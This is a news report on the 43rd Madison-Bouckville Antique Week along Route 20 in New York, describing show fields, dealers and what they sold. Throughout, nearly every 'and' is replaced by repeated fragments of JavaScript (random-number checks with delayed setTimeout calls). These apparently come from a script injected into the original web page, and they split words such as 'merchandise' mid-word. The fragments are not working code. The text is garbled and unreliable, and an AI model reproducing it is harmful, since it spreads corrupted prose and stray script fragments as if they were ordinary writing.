By: Tom O’Hara

MADISON TOWNSHIP, N.Y. — Madison-Bouckville Antique Week filled all the fields between the two towns of Madison andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Bouckville August 11–17 along Route 20 with tents, dealers andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and shoppers, in spite of excessive rain andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and chilly temperatures.

During the week, rain lowered attendance, but even so, dealers were selling, helped by new marketing efforts from Madison-Bouckville Promotions, a collaborative effort by show field operators andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and area businesses with support from the Madison Township government. The efforts of the new show promoter at the Big Field, Allman Promotions, also contributed to the impact on publicizing the shows for the week.

The 43rd year of Madison-Bouckville Antique Week is now history andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a good history at that, with good numbers of dealers exhibiting. Jock Hengst started the show in 1972 to build business for his restaurant, the Landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andmark Tavern, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and other area shops. “It seemed like a good idea at the time,” he said in an interview. Time has proven him right.

The popularity of the show grew so quickly it spawned others on neighboring fields until there was an unbroken line from the main crossroads in Bouckville eastward to the edge of Madison. Except for the Big Field, all are open for business Monday through Sunday andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and no one charges admission.

Early in the week, Jim Dutcher was welcoming shoppers to his Cider House Field that he purchased a few years ago. Accommodating about 200 exhibitors in large tents with a large parking area andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and campsites in the rear, this field is one of the largest here.

Variety at Cider House was the key. Elizabeth Huber, Warnersville, N.Y., was selling well, including early cast iron doorstops in original paint. Al Bullard, Milford, N.Y., reported very good sales of early woodenware for the kitchen andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and treenware. He said he was selling “very good small stuff very well!”

Clements Antiques, Sanbornton, N.H., specializes in late Nineteenth andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early Twentieth Century glass andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and some earthenware from the same periods. Sales for the week were very good in Tiffany glass lamps. They also sold carnival glass andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Roseville.

Small wood is how Jerry Kline describes his merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise. The Knoxville, Tenn., dealer has been at Cider House for many years offering small boxes; writing boxes crafted in mahogany, tea caddies in rosewood, dresser boxes in bass wood andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and all other sorts of combinations. His sales were good.

Steampunk lamps constituted about half of the inventory for Ed Correia of Under The Pine Antiques, Sterling, Conn. He makes them from salvaged materials andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and offers them at shows. Sales were “the best ever for Madison — seven lamps andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and we sold a lot of furniture as well,” he said.

Mario Gauthier, Auburn, N.H., was selling interesting small silver andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and glass antiques in large quantities all through the week. Cylinder phonograph players andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and recordings, too, were available from Darlene Ballard, Hamilton, N.Y.

John Mancino is another of the newer field owners at Madison, with his Out Front Show Field literally in front of the Big Field. This year marked his fifth as owner. With space for more than 170 exhibitors, the field is another of the larger fields here.

Eastlake furniture was featured by Auburn (N.Y.) Antiques. Dealer Kathy Freyee was also selling Nineteenth Century American clocks andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early earthenware.

Indian Opening across the street has been in business as a show field for many years. Regular Michael Cohen, Brookville, Ky., brought a large trunk-full of antique furniture for the home andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and business. Among the pieces he offered was an early dental cabinet in walnut, nearly 6 feet tall, in excellent condition, which sold from a tagged value of $2,800 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an oak kitchen cupboard found in the Midwest with slide-out work platform.

Kitchenalia was the best word to describe Danielle Davis’ collection. The Corfu, N.Y., dealer had more gadgets than any one kitchen could use, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and in many cases there were two or three different tools to do the same job.

Coming in from Pittsburgh, Penn., Al andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Darlene Klobchar arrived late Wednesday but immediately caught up with sales. Their merchandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andise was primarily Nineteenth Century business furniture, including large flat files, file cabinets andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and similar equipment that quickly became very popular here.

A little farther down the road was Whistle Post with Madison Auction Service right out front. The Madison-based dealers were showing some of their favorite pieces, including an early Sheraton two-over-three chest of drawers, another Hepplewhite chest andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and several later American Federal period pieces.

At East Expo, Jeff andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Linda Rubens, Princeton, N.J., said they were very pleased with their results for the week. Sales included an unusual weathervane, probably advertising a butcher shop; a farrier’s work table; some stoneware andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early shutters.

Interesting articles show up at the show. Apple Tree Antiques, Fleetville, Penn., offered a scale model of a coal rendering plant that would sort andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and crush the coal. Dealer Dave Crowther believed it might have been madeto show to people or schoolchildren how the coal was processed.

Butternut Hill on the north side of Route 20 had a group of Vermont dealers exhibiting. George Bittner was selling American Nineteenth Century clocks andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early Twentieth Century typewriters. In the adjoining space, his son Brian Bittner was selling early tools andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and small implements. Route 2 Antiques, East Montpelier, Vt., sold early American furniture, led by a three-drawer pine chest that sold early on.

The Big Field Antiques Show opened under the management of Allman Promotions LLC for the first time August 15. Steve andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Judith Allman took over the lease of the Carhardt Farm property last fall, the site of Jock Hengst’s Original Madison-Bouckville Antiques Show, 1972–2011.

The Big Field Antiques Show consists of dealers in eight large tents surrounded by other dealers in smaller tents. In total there were more than 300 dealers at the show, an increase from last year.

Michael Haskins, Palmyra, N.Y., was selling his miniature blanket chest, faux grain paint in red with turned feet, along with a collection of butter scoops andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wall hangings.

Early in the show, Robert Perry, Orchard Park, N.Y., sold a set of iron garden armchairs having a Greek-inspired design with arched supports andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and early paint, as well as an early country chair table.

Caulkins House Antiques, Plainwell, Mich., brought a large amount of furniture, including several large cupboards. An early faux grain painted jelly cupboard drew a good deal of attention along with several hooked rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a large chair table.

Timeless Treasures Antiques, West Mifflin, Penn., brought painted furniture, including a large vented stepback cupboard, measuring more than 6 feet tall, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an early pine work cupboard, counter high, in grey milk paint with two doors.

Sport andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Spool Antiques, Goldsboro, N.C., was selling college memorabilia, while White andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and White, Skaneateles, N.Y., offered an early perambulator that was just too fancy to call a baby carriage.

Cabin on the Hill, Georgetown, Texas, was selling early painted furniture, including a large blue-grey milk painted cupboard, an early pie safe in butter colored paint andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and wooden bowls in a rainbow of colors.

Sales were affected by daily rains, according to many dealers, but even so they agreed sales were better than last year. Next year’s dates will be August 10–16.

For additional information, www.madison-bouckville.com or www.allmanpromotions.com.